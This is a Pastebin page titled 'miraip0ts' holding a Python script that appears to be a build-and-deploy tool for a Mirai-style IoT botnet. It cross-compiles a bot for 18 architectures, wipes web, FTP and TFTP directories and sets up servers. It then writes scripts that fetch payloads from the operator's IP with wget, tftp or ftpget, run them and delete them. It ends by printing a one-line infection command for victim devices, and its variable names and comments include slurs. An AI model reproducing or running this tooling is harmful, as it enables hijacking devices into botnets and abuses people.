Advertisement
miraip0ts

Sand7

Dec 25th, 2017
764
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.83 KB | None | 0 0
  1. #Python auto cross compiler by Void Modded by Godz
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6.     ip = sys.argv[2]
  7. else:
  8.     print("\x1b[0;31mIncorrect Usage!")
  9.     print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10.     exit(1)
  11.    
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16.     get_arch = True
  17. else:
  18.     get_arch = False
  19.  
  20. compileas = ["mips.hex", #mips
  21.              "mipsel.hex", #mipsel
  22.              "sh4.hex", #sh4
  23.              "x86_64.hex", #x86
  24.              "armv6l.hex", #armv6l
  25.              "i686.hex", #i686
  26.              "ppc.hex", #ppc
  27.              "i586.hex", #i586
  28.              "m68k.hex", #m68k
  29.              "sparc.hex", #sparc
  30.              "armv4l.hex", #armv4l
  31.              "armv5l.hex", #armv5l
  32.              "powerpc.hex", #powerpc-440fp
  33.              "mips64.hex", #mips64
  34.              "armv4eb.hex", #armv4eb
  35.              "armv4tl.hex", #armv4tl
  36.              "sh2eb.hex", #sh2eb
  37.              "sh2elf.hex"] #sh2elf           
  38.              
  39.              
  40.  
  41. getarch = ['http://www.godz-soldiers.pw/downloads/cross-compiler-mips.tar.bz2',
  42. 'http://www.godz-soldiers.pw/downloads/cross-compiler-mipsel.tar.bz2',
  43. 'http://www.godz-soldiers.pw/downloads/cross-compiler-sh4.tar.bz2',
  44. 'http://www.godz-soldiers.pw/downloads/cross-compiler-x86_64.tar.bz2',
  45. 'http://www.godz-soldiers.pw/downloads/cross-compiler-armv6l.tar.bz2',
  46. 'http://www.godz-soldiers.pw/downloads/cross-compiler-i686.tar.bz2',
  47. 'http://www.godz-soldiers.pw/downloads/cross-compiler-powerpc.tar.bz2',
  48. 'http://www.godz-soldiers.pw/downloads/cross-compiler-i586.tar.bz2',
  49. 'http://www.godz-soldiers.pw/downloads/cross-compiler-m68k.tar.bz2',
  50. 'http://www.godz-soldiers.pw/downloads/cross-compiler-sparc.tar.bz2',
  51. 'http://www.godz-soldiers.pw/downloads/cross-compiler-armv4l.tar.bz2',
  52. 'http://www.godz-soldiers.pw/downloads/cross-compiler-armv5l.tar.bz2',
  53. 'http://www.godz-soldiers.pw/downloads/cross-compiler-powerpc-440fp.tar.bz2',
  54. 'http://www.godz-soldiers.pw/downloads/cross-compiler-mips64.tar.bz2',
  55. 'http://www.godz-soldiers.pw/downloads/cross-compiler-armv4eb.tar.bz2',
  56. 'http://www.godz-soldiers.pw/downloads/cross-compiler-armv4tl.tar.bz2',
  57. 'http://www.godz-soldiers.pw/downloads/cross-compiler-sh2eb.tar.gz',
  58. 'http://www.godz-soldiers.pw/downloads/cross-compiler-sh2elf.tar.gz']
  59.  
  60. ccs = ["cross-compiler-mips",
  61.        "cross-compiler-mipsel",
  62.        "cross-compiler-sh4",
  63.        "cross-compiler-x86_64",
  64.        "cross-compiler-armv6l",
  65.        "cross-compiler-i686",
  66.        "cross-compiler-powerpc",
  67.        "cross-compiler-i586",
  68.        "cross-compiler-m68k",
  69.        "cross-compiler-sparc",
  70.        "cross-compiler-armv4l",
  71.        "cross-compiler-armv5l",
  72.        "cross-compiler-powerpc-440fp",
  73.        "cross-compiler-mips64",
  74.        "cross-compiler-armv4eb",
  75.        "cross-compiler-armv4tl",
  76.        "cross-compiler-sh2eb",
  77.        "cross-compiler-sh2elf"]
  78.        
  79.        
  80.  
  81. def run(cmd):
  82.     subprocess.call(cmd, shell=True)
  83.  
  84. run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
  85.  
  86. if get_arch == True:
  87.     run("rm -rf cross-compiler-*")
  88.  
  89.     print("Downloading Architectures")
  90.  
  91.     for arch in getarch:
  92.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  93.         run("tar -xvf *tar.bz2")
  94.         run("rm -rf *tar.bz2")
  95.         run("tar -xvf *tar.gz")
  96.         run("rm -rf *tar.gz")
  97.  
  98.     print("Cross Compilers Downloaded...")
  99.  
  100. num = 0
  101. for cc in ccs:
  102.     arch = cc.split("-")[2]
  103.     run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  104.     num += 1
  105.  
  106. print("Cross Compiling Done!")
  107. print("Setting up your httpd and tftp")
  108.  
  109. run("yum install httpd -y")
  110. run("service httpd start")
  111. run("yum install xinetd tftp tftp-server -y")
  112. run("yum install vsftpd -y")
  113. run("service vsftpd start")
  114.  
  115. run('''echo -e "# default: off
  116. # description: The tftp server serves files using the trivial file transfer \
  117. #       protocol.  The tftp protocol is often used to boot diskless \
  118. #       workstations, download configuration files to network-aware printers, \
  119. #       and to start the installation process for some operating systems.
  120. service tftp
  121. {
  122.        socket_type             = dgram
  123.        protocol                = udp
  124.        wait                    = yes
  125.        user                    = root
  126.        server                  = /usr/sbin/in.tftpd
  127.        server_args             = -s -c /var/lib/tftpboot
  128.        disable                 = no
  129.        per_source              = 11
  130.        cps                     = 100 2
  131.        flags                   = IPv4
  132. }
  133. " > /etc/xinetd.d/tftp''')
  134. run("service xinetd start")
  135.  
  136. run('''echo -e "listen=YES
  137. local_enable=NO
  138. anonymous_enable=YES
  139. write_enable=NO
  140. anon_root=/var/ftp
  141. anon_max_rate=2048000
  142. xferlog_enable=YES
  143. listen_address='''+ ip +'''
  144. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  145. run("service vsftpd restart")
  146.  
  147. for i in compileas:
  148.     run("cp " + i + " /var/www/html")
  149.     run("cp " + i + " /var/ftp")
  150.     run("mv " + i + " /var/lib/tftpboot")
  151.  
  152. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  153.  
  154. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  155.  
  156. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  157.  
  158. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  159.  
  160. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  161.  
  162. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  163.  
  164. run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
  165.  
  166. for i in compileas:
  167.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  168.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  169.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  170.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  171.  
  172. run("service xinetd restart")
  173. run("service httpd restart")
  174. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  175.  
  176. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  177. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
  178. print
  179. #print("\x1b[0;33 It's Done Fag\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement